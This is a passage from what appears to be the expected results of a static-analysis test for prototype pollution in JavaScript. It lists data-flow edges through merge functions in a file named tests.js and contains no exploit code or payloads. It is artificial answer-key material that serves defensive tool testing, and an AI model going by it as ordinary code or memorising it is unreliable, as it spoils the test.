PrototypePollutionUtility/tests.js:364:49:364:54 | source | -| PrototypePollutionUtility/tests.js:371:75:371:85 | source[key] | PrototypePollutionUtility/tests.js:364:49:364:54 | source | -| PrototypePollutionUtility/tests.js:373:31:373:36 | source | PrototypePollutionUtility/tests.js:373:31:373:41 | source[key] | -| PrototypePollutionUtility/tests.js:373:31:373:36 | source | PrototypePollutionUtility/tests.js:373:31:373:41 | source[key] | -| PrototypePollutionUtility/tests.js:373:31:373:41 | source[key] | PrototypePollutionUtility/tests.js:373:31:373:41 | source[key] | -| PrototypePollutionUtility/tests.js:373:38:373:40 | key | PrototypePollutionUtility/tests.js:373:31:373:41 | source[key] | -| PrototypePollutionUtility/tests.js:373:38:373:40 | key | PrototypePollutionUtility/tests.js:373:31:373:41 | source[key] | -| PrototypePollutionUtility/tests.js:381:14:381:16 | key | PrototypePollutionUtility/tests.js:383:22:383:24 | key | -| PrototypePollutionUtility/tests.js:381:14:381:16 | key | PrototypePollutionUtility/tests.js:383:22:383:24 | key | -| PrototypePollutionUtility/tests.js:381:14:381:16 | key | PrototypePollutionUtility/tests.js:383:22:383:24 | key | -| PrototypePollutionUtility/tests.js:381:14:381:16 | key | PrototypePollutionUtility/tests.js:383:22:383:24 | key | -| PrototypePollutionUtility/tests.js:381:14:381:16 | key | PrototypePollutionUtility/tests.js:383:31:383:33 | key | -| PrototypePollutionUtility/tests.js:381:14:381:16 | key | PrototypePollutionUtility/tests.js:383:31:383:33 | key | -| PrototypePollutionUtility/tests.js:381:14:381:16 | key | PrototypePollutionUtility/tests.js:383:31:383:33 | key | -| PrototypePollutionUtility/tests.js:381:14:381:16 | key | PrototypePollutionUtility/tests.js:383:31:383:33 | key | -| PrototypePollutionUtility/tests.js:383:22:383:24 | key | PrototypePollutionUtility/tests.js:389:22:389:24 | key | -| PrototypePollutionUtility/tests.js:383:22:383:24 | key | PrototypePollutionUtility/tests.js:389:22:389:24 | key | -| PrototypePollutionUtility/tests.js:383:22:383:24 | key | PrototypePollutionUtility/tests.js:399:23:399:25 | key | -| PrototypePollutionUtility/tests.js:383:22:383:24 | key | PrototypePollutionUtility/tests.js:399:23:399:25 | key | -| PrototypePollutionUtility/tests.js:383:27:383:34 | obj[key] | PrototypePollutionUtility/tests.js:399:28:399:32 | value | -| PrototypePollutionUtility/tests.js:383:27:383:34 | obj[key] | PrototypePollutionUtility/tests.js:399:28:399:32 | value | -| PrototypePollutionUtility/tests.js:383:27:383:34 | obj[key] | PrototypePollutionUtility/tests.js:399:28:399:32 | value | -| PrototypePollutionUtility/tests.js:383:27:383:34 | obj[key] | PrototypePollutionUtility/tests.js:399:28:399:32 | value | -| PrototypePollutionUtility/tests.js:383:31:383:33 | key | PrototypePollutionUtility/tests.js:383:27:383:34 | obj[key] | -| PrototypePollutionUtility/tests.js:383:31:383:33 | key | PrototypePollutionUtility/tests.js:383:27:383:34 | obj[key] | -| PrototypePollutionUtility/tests.js:388:29:388:31 | dst | PrototypePollutionUtility/tests.js:391:32:391:34 | dst | -| PrototypePollutionUtility/tests.js:388:29:388:31 | dst | PrototypePollutionUtility/tests.js:391:32:391:34 | dst | -| PrototypePollutionUtility/tests.js:388:29:388:31 | dst | PrototypePollutionUtility/tests.js:393:13:393:15 | dst | -| PrototypePollutionUtility/tests.js:388:29:388:31 | dst | PrototypePollutionUtility/tests.js:393:13:393:15 | dst | -| PrototypePollutionUtility/tests.js:388:29:388:31 | dst | PrototypePollutionUtility/tests.js:393:13:393:15 | dst | -| PrototypePollutionUtility/tests.js:388:29:388:31 | dst | PrototypePollutionUtility/tests.js:393:13:393:15 | dst | -| PrototypePollutionUtility/tests.js:388:34:388:36 | src | PrototypePollutionUtility/tests.js:391:42:391:44 | src | -| PrototypePollutionUtility/tests.js:388:34:388:36 | src | PrototypePollutionUtility/tests.js:391:42:391:44 | src | -| PrototypePollutionUtility/tests.js:388:34:388:36 | src | PrototypePollutionUtility/tests.js:393:24:393:26 | src | -| PrototypePollutionUtility/tests.js:388:34:388:36 | src | PrototypePollutionUtility/tests.js:393:24:393:26 | src | -| PrototypePollutionUtility/tests.js:389:22:389:24 | key | PrototypePollutionUtility/tests.js:391:36:391:38 | key | -| PrototypePollutionUtility/tests.js:389:22:389:24 | key | PrototypePollutionUtility/tests.js:391:36:391:38 | key | -| PrototypePollutionUtility/tests.js:389:22:389:24 | key | PrototypePollutionUtility/tests.js:391:46:391:48 | key | -| PrototypePollutionUtility/tests.js:389:22:389:24 | key | PrototypePollutionUtility/tests.js:391:46:391:48 | key | -| PrototypePollutionUtility/tests.js:389:22:389:24 | key | PrototypePollutionUtility/tests.js:393:17:393:19 | key | -| PrototypePollutionUtility/tests.js:389:22:389:24 | key | PrototypePollutionUtility/tests.js:393:17:393:19 | key | -| PrototypePollutionUtility/tests.js:389:22:389:24 | key | PrototypePollutionUtility/tests.js:393:17:393:19 | key | -| PrototypePollutionUtility/tests.js:389:22:389:24 | key | PrototypePollutionUtility/tests.js:393:17:393:19 | key | -| PrototypePollutionUtility/tests.js:389:22:389:24 | key | PrototypePollutionUtility/tests.js:393:28:393:30 | key | -| PrototypePollutionUtility/tests.js:389:22:389:24 | key | PrototypePollutionUtility/tests.js:393:28:393:30 | key | -| PrototypePollutionUtility/tests.js:391:32:391:34 | dst | PrototypePollutionUtility/tests.js:391:32:391:39 | dst[key] | -| PrototypePollutionUtility/tests.js:391:32:391:34 | dst | PrototypePollutionUtility/tests.js:391:32:391:39 | dst[key] | -| PrototypePollutionUtility/tests.js:391:32:391:39 | dst[key] | PrototypePollutionUtility/tests.js:388:29:388:31 | dst | -| PrototypePollutionUtility/tests.js:391:32:391:39 | dst[key] | PrototypePollutionUtility/tests.js:388:29:388:31 | dst | -| PrototypePollutionUtility/tests.js:391:36:391:38 | key | PrototypePollutionUtility/tests.js:391:32:391:39 | dst[key] | -| PrototypePollutionUtility/tests.js:391:36:391:38 | key | PrototypePollutionUtility/tests.js:391:32:391:39 | dst[key] | -| PrototypePollutionUtility/tests.js:391:42:391:44 | src | PrototypePollutionUtility/tests.js:391:42:391:49 | src[key] | -| PrototypePollutionUtility/tests.js:391:42:391:44 | src | PrototypePollutionUtility/tests.js:391:42:391:49 | src[key] | -| PrototypePollutionUtility/tests.js:391:42:391:49 | src[key] | PrototypePollutionUtility/tests.js:388:34:388:36 | src | -| PrototypePollutionUtility/tests.js:391:42:391:49 | src[key] | PrototypePollutionUtility/tests.js:388:34:388:36 | src | -| PrototypePollutionUtility/tests.js:391:46:391:48 | key | PrototypePollutionUtility/tests.js:391:42:391:49 | src[key] | -| PrototypePollutionUtility/tests.js:391:46:391:48 | key | PrototypePollutionUtility/tests.js:391:42:391:49 | src[key] | -| PrototypePollutionUtility/tests.js:393:24:393:26 | src | PrototypePollutionUtility/tests.js:393:24:393:31 | src[key] | -| PrototypePollutionUtility/tests.js:393:24:393:26 | src | PrototypePollutionUtility/tests.js:393:24:393:31 | src[key] | -| PrototypePollutionUtility/tests.js:393:24:393:26 | src | PrototypePollutionUtility/tests.js:393:24:393:31 | src[key] | -| PrototypePollutionUtility/tests.js:393:24:393:26 | src | PrototypePollutionUtility/tests.js:393:24:393:31 | src[key] | -| PrototypePollutionUtility/tests.js:393:28:393:30 | key | PrototypePollutionUtility/tests.js:393:24:393:31 | src[key] | -| PrototypePollutionUtility/tests.js:393:28:393:30 | key | PrototypePollutionUtility/tests.js:393:24:393:31 | src[key] | -| PrototypePollutionUtility/tests.js:393:28:393:30 | key | PrototypePollutionUtility/tests.js:393:24:393:31 | src[key] | -| PrototypePollutionUtility/tests.js:393:28:393:30 | key | PrototypePollutionUtility/tests.js:393:24:393:31 | src[key] | -| PrototypePollutionUtility/tests.js:398:30:398:32 | dst | PrototypePollutionUtility/tests.js:401:33:401:35 | dst | -| PrototypePollutionUtility/tests.js:398:30:398:32 | dst | PrototypePollutionUtility/tests.js:401:33:401:35 | dst | -| PrototypePollutionUtility/tests.js:398:30:398:32 | dst | PrototypePollutionUtility/tests.js:403:13:403:15 | dst | -| PrototypePollutionUtility/tests.js:398:30:398:32 | dst | PrototypePollutionUtility/tests.js:403:13:403:15 | dst | -| PrototypePollutionUtility/tests.js:398:30:398:32 | dst | PrototypePollutionUtility/tests.js:403:13:403:15 | dst | -| PrototypePollutionUtility/tests.js:398:30:398:32 | dst | PrototypePollutionUtility/tests.js:403:13:403:15 | dst | -| PrototypePollutionUtility/tests.js:398:35:398:37 | src | PrototypePollutionUtility/tests.js:399:17:399:19 | src | -| PrototypePollutionUtility/tests.js:398:35:398:37 | src | PrototypePollutionUtility/tests.js:399:17:399:19 | src | -| PrototypePollutionUtility/tests.js:399:17:399:19 | src | PrototypePollutionUtility/tests.js:399:28:399:32 | value | -| PrototypePollutionUtility/tests.js:399:17:399:19 | src | PrototypePollutionUtility/tests.js:399:28:399:32 | value | -| PrototypePollutionUtility/tests.js:399:23:399:25 | key | PrototypePollutionUtility/tests.js:401:37:401:39 | key | -| PrototypePollutionUtility/tests.js:399:23:399:25 | key | PrototypePollutionUtility/tests.js:401:37:401:39 | key | -| PrototypePollutionUtility/tests.js:399:23:399:25 | key | PrototypePollutionUtility/tests.js:403:17:403:19 | key | -| PrototypePollutionUtility/tests.js:399:23:399:25 | key | PrototypePollutionUtility/tests.js:403:17:403:19 | key | -| PrototypePollutionUtility/tests.js:399:23:399:25 | key | PrototypePollutionUtility/tests.js:403:17:403:19 | key | -| PrototypePollutionUtility/tests.js:399:23:399:25 | key | PrototypePollutionUtility/tests.js:403:17:403:19 | key | -| PrototypePollutionUtility/tests.js:399:28:399:32 | value | PrototypePollutionUtility/tests.js:401:43:401:47 | value | -| PrototypePollutionUtility/tests.js:399:28:399:32 | value | PrototypePollutionUtility/tests.js:401:43:401:47 | value | -| PrototypePollutionUtility/tests.js:399:28:399:32 | value | PrototypePollutionUtility/tests.js:403:24:403:28 | value | -| PrototypePollutionUtility/tests.js:399:28:399:32 | value | PrototypePollutionUtility/tests.js:403:24:403:28 | value | -| PrototypePollutionUtility/tests.js:399:28:399:32 | value | PrototypePollutionUtility/tests.js:403:24:403:28 | value | -| PrototypePollutionUtility/tests.js:399:28:399:32 | value | PrototypePollutionUtility/tests.js:403:24:403:28 | value | -| PrototypePollutionUtility/tests.js:401:33:401:35 | dst | PrototypePollutionUtility/tests.js:401:33:401:40 | dst[key] | -| PrototypePollutionUtility/tests.js:401:33:401:35 | dst | PrototypePollutionUtility/tests.js:401:33:401:40 | dst[key] | -| PrototypePollutionUtility/tests.js:401:33:401:40 | dst[key] | PrototypePollutionUtility/tests.js:398:30:398:32 | dst | -| PrototypePollutionUtility/tests.js:401:33:401:40 | dst[key] | PrototypePollutionUtility/tests.js:398:30:398:32 | dst | -| PrototypePollutionUtility/tests.js:401:37:401:39 | key | PrototypePollutionUtility/tests.js:401:33:401:40 | dst[key] | -| PrototypePollutionUtility/tests.js:401:37:401:39 | key | PrototypePollutionUtility/tests.js:401:33:401:40 | dst[key] | -| PrototypePollutionUtility/tests.js:401:43:401:47 | value | PrototypePollutionUtility/tests.js:398:35:398:37 | src | -| PrototypePollutionUtility/tests.js:401:43:401:47 | value | PrototypePollutionUtility/tests.js:398:35:398:37 | src | -| PrototypePollutionUtility/tests.js:412:31:412:33 | dst | PrototypePollutionUtility/tests.js:415:34:415:36 | dst | -| PrototypePollutionUtility/tests.js:412:31:412:33 | dst | PrototypePollutionUtility/tests.js:415:34:415:36 | dst | -| PrototypePollutionUtility/tests.js:412:31:412:33 | dst | PrototypePollutionUtility/tests.js:419:13:419:15 | dst | -| PrototypePollutionUtility/tests.js:412:31:412:33 | dst | PrototypePollutionUtility/tests.js:419:13:419:15 | dst | -| PrototypePollutionUtility/tests.js:412:31:412:33 | dst | PrototypePollutionUtility/tests.js:419:13:419:15 | dst | -| PrototypePollutionUtility/tests.js:412:31:412:33 | dst | PrototypePollutionUtility/tests.js:419:13:419:15 | dst | -| PrototypePollutionUtility/tests.js:412:36:412:38 | src | PrototypePollutionUtility/tests.js:414:33:414:35 | src | -| PrototypePollutionUtility/tests.js:412:36:412:38 | src | PrototypePollutionUtility/tests.js:414:33:414:35 | src | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:414:38:414:40 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:414:38:414:40 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:414:38:414:40 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:414:38:414:40 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:415:39:415:41 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:415:39:415:41 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:415:39:415:41 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:415:39:415:41 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:419:17:419:19 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:419:17:419:19 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:419:17:419:19 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:419:17:419:19 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:419:17:419:19 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:419:17:419:19 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:419:17:419:19 | key | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | PrototypePollutionUtility/tests.js:417:42:417:46 | value | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | PrototypePollutionUtility/tests.js:417:42:417:46 | value | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | PrototypePollutionUtility/tests.js:417:42:417:46 | value | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | PrototypePollutionUtility/tests.js:417:42:417:46 | value | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | PrototypePollutionUtility/tests.js:419:24:419:28 | value | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | PrototypePollutionUtility/tests.js:419:24:419:28 | value | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | PrototypePollutionUtility/tests.js:419:24:419:28 | value | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | PrototypePollutionUtility/tests.js:419:24:419:28 | value | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | PrototypePollutionUtility/tests.js:419:24:419:28 | value | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | PrototypePollutionUtility/tests.js:419:24:419:28 | value | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | PrototypePollutionUtility/tests.js:419:24:419:28 | value | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | PrototypePollutionUtility/tests.js:419:24:419:28 | value | -| PrototypePollutionUtility/tests.js:414:21:414:41 | wrapped ... c, key) | PrototypePollutionUtility/tests.js:414:13:414:41 | value | -| PrototypePollutionUtility/tests.js:414:21:414:41 | wrapped ... c, key) | PrototypePollutionUtility/tests.js:414:13:414:41 | value | -| PrototypePollutionUtility/tests.js:414:21:414:41 | wrapped ... c, key) | PrototypePollutionUtility/tests.js:414:13:414:41 | value | -| PrototypePollutionUtility/tests.js:414:21:414:41 | wrapped ... c, key) | PrototypePollutionUtility/tests.js:414:13:414:41 | value | -| PrototypePollutionUtility/tests.js:414:21:414:41 | wrapped ... c, key) | PrototypePollutionUtility/tests.js:414:13:414:41 | value | -| PrototypePollutionUtility/tests.js:414:21:414:41 | wrapped ... c, key) | PrototypePollutionUtility/tests.js:414:13:414:41 | value | -| PrototypePollutionUtility/tests.js:414:33:414:35 | src | PrototypePollutionUtility/tests.js:414:21:414:41 | wrapped ... c, key) | -| PrototypePollutionUtility/tests.js:414:33:414:35 | src | PrototypePollutionUtility/tests.js:414:21:414:41 | wrapped ... c, key) | -| PrototypePollutionUtility/tests.js:414:38:414:40 | key | PrototypePollutionUtility/tests.js:414:21:414:41 | wrapped ... c, key) | -| PrototypePollutionUtility/tests.js:414:38:414:40 | key | PrototypePollutionUtility/tests.js:414:21:414:41 | wrapped ... c, key) | -| PrototypePollutionUtility/tests.js:415:13:415:42 | target | PrototypePollutionUtility/tests.js:417:34:417:39 | target | -| PrototypePollutionUtility/tests.js:415:13:415:42 | target | PrototypePollutionUtility/tests.js:417:34:417:39 | target | -| PrototypePollutionUtility/tests.js:415:13:415:42 | target | PrototypePollutionUtility/tests.js:417:34:417:39 | target | -| PrototypePollutionUtility/tests.js:415:13:415:42 | target | PrototypePollutionUtility/tests.js:417:34:417:39 | target | -| PrototypePollutionUtility/tests.js:415:22:415:42 | wrapped ... t, key) | PrototypePollutionUtility/tests.js:415:13:415:42 | target | -| PrototypePollutionUtility/tests.js:415:22:415:42 | wrapped ... t, key) | PrototypePollutionUtility/tests.js:415:13:415:42 | target | -| PrototypePollutionUtility/tests.js:415:22:415:42 | wrapped ... t, key) | PrototypePollutionUtility/tests.js:415:13:415:42 | target | -| PrototypePollutionUtility/tests.js:415:22:415:42 | wrapped ... t, key) | PrototypePollutionUtility/tests.js:415:13:415:42 | target | -| PrototypePollutionUtility/tests.js:415:34:415:36 | dst | PrototypePollutionUtility/tests.js:415:22:415:42 | wrapped ... t, key) | -| PrototypePollutionUtility/tests.js:415:34:415:36 | dst | PrototypePollutionUtility/tests.js:415:22:415:42 | wrapped ... t, key) | -| PrototypePollutionUtility/tests.js:415:39:415:41 | key | PrototypePollutionUtility/tests.js:415:22:415:42 | wrapped ... t, key) | -| PrototypePollutionUtility/tests.js:415:39:415:41 | key | PrototypePollutionUtility/tests.js:415:22:415:42 | wrapped ... t, key) | -| PrototypePollutionUtility/tests.js:417:34:417:39 | target | PrototypePollutionUtility/tests.js:412:31:412:33 | dst | -| PrototypePollutionUtility/tests.js:417:34:417:39 | target | PrototypePollutionUtility/tests.js:412:31:412:33 | dst | -| PrototypePollutionUtility/tests.js:417:34:417:39 | target | PrototypePollutionUtility/tests.js:412:31:412:33 | dst | -| PrototypePollutionUtility/tests.js:417:34:417:39 | target | PrototypePollutionUtility/tests.js:412:31:412:33 | dst | -| PrototypePollutionUtility/tests.js:417:42:417:46 | value | PrototypePollutionUtility/tests.js:412:36:412:38 | src | -| PrototypePollutionUtility/tests.js:417:42:417:46 | value | PrototypePollutionUtility/tests.js:412:36:412:38 | src | -| PrototypePollutionUtility/tests.js:417:42:417:46 | value | PrototypePollutionUtility/tests.js:412:36:412:38 | src | -| PrototypePollutionUtility/tests.js:417:42:417:46 | value | PrototypePollutionUtility/tests.js:412:36:412:38 | src | -| PrototypePollutionUtility/tests.js:429:34:429:36 | dst | PrototypePollutionUtility/tests.js:432:37:432:39 | dst | -| PrototypePollutionUtility/tests.js:429:34:429:36 | dst | PrototypePollutionUtility/tests.js:436:13:436:15 | dst | -| PrototypePollutionUtility/tests.js:429:34:429:36 | dst | PrototypePollutionUtility/tests.js:436:13:436:15 | dst | -| PrototypePollutionUtility/tests.js:429:39:429:41 | src | PrototypePollutionUtility/tests.js:431:36:431:38 | src | -| PrototypePollutionUtility/tests.js:429:39:429:41 | src | PrototypePollutionUtility/tests.js:431:36:431:38 | src | -| PrototypePollutionUtility/tests.js:430:14:430:16 | key | PrototypePollutionUtility/tests.js:431:41:431:43 | key | -| PrototypePollutionUtility/tests.js:430:14:430:16 | key | PrototypePollutionUtility/tests.js:431:41:431:43 | key | -| PrototypePollutionUtility/tests.js:430:14:430:16 | key | PrototypePollutionUtility/tests.js:432:42:432:44 | key | -| PrototypePollutionUtility/tests.js:430:14:430:16 | key | PrototypePollutionUtility/tests.js:432:42:432:44 | key | -| PrototypePollutionUtility/tests.js:430:14:430:16 | key | PrototypePollutionUtility/tests.js:436:17:436:19 | key | -| PrototypePollutionUtility/tests.js:430:14:430:16 | key | PrototypePollutionUtility/tests.js:436:17:436:19 | key | -| PrototypePollutionUtility/tests.js:430:14:430:16 | key | PrototypePollutionUtility/tests.js:436:17:436:19 | key | -| PrototypePollutionUtility/tests.js:430:14:430:16 | key | PrototypePollutionUtility/tests.js:436:17:436:19 | key | -| PrototypePollutionUtility/tests.js:430:14:430:16 | key | PrototypePollutionUtility/tests.js:436:17:436:19 | key | -| PrototypePollutionUtility/tests.js:430:14:430:16 | key | PrototypePollutionUtility/tests.js:436:17:436:19 | key | -| PrototypePollutionUtility/tests.js:430:14:430:16 | key | PrototypePollutionUtility/tests.js:436:17:436:19 | key | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | PrototypePollutionUtility/tests.js:434:45:434:49 | value | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | PrototypePollutionUtility/tests.js:434:45:434:49 | value | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | PrototypePollutionUtility/tests.js:434:45:434:49 | value | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | PrototypePollutionUtility/tests.js:434:45:434:49 | value | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | PrototypePollutionUtility/tests.js:436:24:436:28 | value | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | PrototypePollutionUtility/tests.js:436:24:436:28 | value | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | PrototypePollutionUtility/tests.js:436:24:436:28 | value | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | PrototypePollutionUtility/tests.js:436:24:436:28 | value | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | PrototypePollutionUtility/tests.js:436:24:436:28 | value | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | PrototypePollutionUtility/tests.js:436:24:436:28 | value | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | PrototypePollutionUtility/tests.js:436:24:436:28 | value | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | PrototypePollutionUtility/tests.js:436:24:436:28 | value | -| PrototypePollutionUtility/tests.js:431:21:431:44 | almostS ... c, key) | PrototypePollutionUtility/tests.js:431:13:431:44 | value | -| PrototypePollutionUtility/tests.js:431:21:431:44 | almostS ... c, key) | PrototypePollutionUtility/tests.js:431:13:431:44 | value | -| PrototypePollutionUtility/tests.js:431:21:431:44 | almostS ... c, key) | PrototypePollutionUtility/tests.js:431:13:431:44 | value | -| PrototypePollutionUtility/tests.js:431:21:431:44 | almostS ... c, key) | PrototypePollutionUtility/tests.js:431:13:431:44 | value | -| PrototypePollutionUtility/tests.js:431:21:431:44 | almostS ... c, key) | PrototypePollutionUtility/tests.js:431:13:431:44 | value | -| PrototypePollutionUtility/tests.js:431:21:431:44 | almostS ... c, key) | PrototypePollutionUtility/tests.js:431:13:431:44 | value | -| PrototypePollutionUtility/tests.js:431:36:431:38 | src | PrototypePollutionUtility/tests.js:431:21:431:44 | almostS ... c, key) | -| PrototypePollutionUtility/tests.js:431:36:431:38 | src | PrototypePollutionUtility/tests.js:431:21:431:44 | almostS ... c, key) | -| PrototypePollutionUtility/tests.js:431:41:431:43 | key | PrototypePollutionUtility/tests.js:431:21:431:44 | almostS ... c, key) | -| PrototypePollutionUtility/tests.js:432:13:432:45 | target | PrototypePollutionUtility/tests.js:434:37:434:42 | target | -| PrototypePollutionUtility/tests.js:432:13:432:45 | target | PrototypePollutionUtility/tests.js:434:37:434:42 | target | -| PrototypePollutionUtility/tests.js:432:22:432:45 | almostS ... t, key) | PrototypePollutionUtility/tests.js:432:13:432:45 | target | -| PrototypePollutionUtility/tests.js:432:22:432:45 | almostS ... t, key) | PrototypePollutionUtility/tests.js:432:13:432:45 | target | -| PrototypePollutionUtility/tests.js:432:37:432:39 | dst | PrototypePollutionUtility/tests.js:432:22:432:45 | almostS ... t, key) | -| PrototypePollutionUtility/tests.js:432:42:432:44 | key | PrototypePollutionUtility/tests.js:432:22:432:45 | almostS ... t, key) | -| PrototypePollutionUtility/tests.js:434:37:434:42 | target | PrototypePollutionUtility/tests.js:429:34:429:36 | dst | -| PrototypePollutionUtility/tests.js:434:37:434:42 | target | PrototypePollutionUtility/tests.js:429:34:429:36 | dst | -| PrototypePollutionUtility/tests.js:434:45:434:49 | value | PrototypePollutionUtility/tests.js:429:39:429:41 | src | -| PrototypePollutionUtility/tests.js:434:45:434:49 | value | PrototypePollutionUtility/tests.js:429:39:429:41 | src | -| PrototypePollutionUtility/tests.js:434:45:434:49 | value | PrototypePollutionUtility/tests.js:429:39:429:41 | src | -| PrototypePollutionUtility/tests.js:434:45:434:49 | value | PrototypePollutionUtility/tests.js:429:39:429:41 | src | -| PrototypePollutionUtility/tests.js:446:33:446:35 | src | PrototypePollutionUtility/tests.js:448:30:448:32 | src | -| PrototypePollutionUtility/tests.js:446:33:446:35 | src | PrototypePollutionUtility/tests.js:448:30:448:32 | src | -| PrototypePollutionUtility/tests.js:447:14:447:16 | key | PrototypePollutionUtility/tests.js:453:17:453:19 | key | -| PrototypePollutionUtility/tests.js:447:14:447:16 | key | PrototypePollutionUtility/tests.js:453:17:453:19 | key | -| PrototypePollutionUtility/tests.js:447:14:447:16 | key | PrototypePollutionUtility/tests.js:453:17:453:19 | key | -| PrototypePollutionUtility/tests.js:447:14:447:16 | key | PrototypePollutionUtility/tests.js:453:17:453:19 | key | -| PrototypePollutionUtility/tests.js:447:14:447:16 | key | PrototypePollutionUtility/tests.js:453:17:453:19 | key | -| PrototypePollutionUtility/tests.js:447:14:447:16 | key | PrototypePollutionUtility/tests.js:453:17:453:19 | key | -| PrototypePollutionUtility/tests.js:447:14:447:16 | key | PrototypePollutionUtility/tests.js:453:17:453:19 | key | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | PrototypePollutionUtility/tests.js:451:39:451:43 | value | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | PrototypePollutionUtility/tests.js:451:39:451:43 | value | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | PrototypePollutionUtility/tests.js:451:39:451:43 | value | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | PrototypePollutionUtility/tests.js:451:39:451:43 | value | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | PrototypePollutionUtility/tests.js:453:24:453:28 | value | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | PrototypePollutionUtility/tests.js:453:24:453:28 | value | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | PrototypePollutionUtility/tests.js:453:24:453:28 | value | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | PrototypePollutionUtility/tests.js:453:24:453:28 | value | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | PrototypePollutionUtility/tests.js:453:24:453:28 | value | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | PrototypePollutionUtility/tests.js:453:24:453:28 | value | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | PrototypePollutionUtility/tests.js:453:24:453:28 | value | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | PrototypePollutionUtility/tests.js:453:24:453:28 | value | -| PrototypePollutionUtility/tests.js:448:21:448:38 | safeRead(src, key) | PrototypePollutionUtility/tests.js:448:13:448:38 | value | -| PrototypePollutionUtility/tests.js:448:21:448:38 | safeRead(src, key) | PrototypePollutionUtility/tests.js:448:13:448:38 | value | -| PrototypePollutionUtility/tests.js:448:21:448:38 | safeRead(src, key) | PrototypePollutionUtility/tests.js:448:13:448:38 | value | -| PrototypePollutionUtility/tests.js:448:21:448:38 | safeRead(src, key) | PrototypePollutionUtility/tests.js:448:13:448:38 | value | -| PrototypePollutionUtility/tests.js:448:21:448:38 | safeRead(src, key) | PrototypePollutionUtility/tests.js:448:13:448:38 | value | -| PrototypePollutionUtility/tests.js:448:21:448:38 | safeRead(src, key) | PrototypePollutionUtility/tests.js:448:13:448:38 | value | -| PrototypePollutionUtility/tests.js:448:30:448:32 | src | PrototypePollutionUtility/tests.js:448:21:448:38 | safeRead(src, key) | -| PrototypePollutionUtility/tests.js:448:30:448:32 | src | PrototypePollutionUtility/tests.js:448:21:448:38 | safeRead(src, key) | -| PrototypePollutionUtility/tests.js:451:39:451:43 | value | PrototypePollutionUtility/tests.js:446:33:446:35 | src | -| PrototypePollutionUtility/tests.js:451:39:451:43 | value | PrototypePollutionUtility/tests.js:446:33:446:35 | src | -| PrototypePollutionUtility/tests.js:451:39:451:43 | value | PrototypePollutionUtility/tests.js:446:33:446:35 | src | -| PrototypePollutionUtility/tests.js:451:39:451:43 | value | PrototypePollutionUtility/tests.js:446:33:446:35 | src | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | PrototypePollutionUtility/tests.js:462:29:462:31 | dst | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | PrototypePollutionUtility/tests.js:462:29:462:31 | dst | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | PrototypePollutionUtility/tests.js:465:30:465:32 | dst | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | PrototypePollutionUtility/tests.js:465:30:465:32 | dst | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | PrototypePollutionUtility/tests.js:465:30:465:32 | dst | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | PrototypePollutionUtility/tests.js:465:30:465:32 | dst | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | PrototypePollutionUtility/tests.js:466:30:466:32 | dst | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | 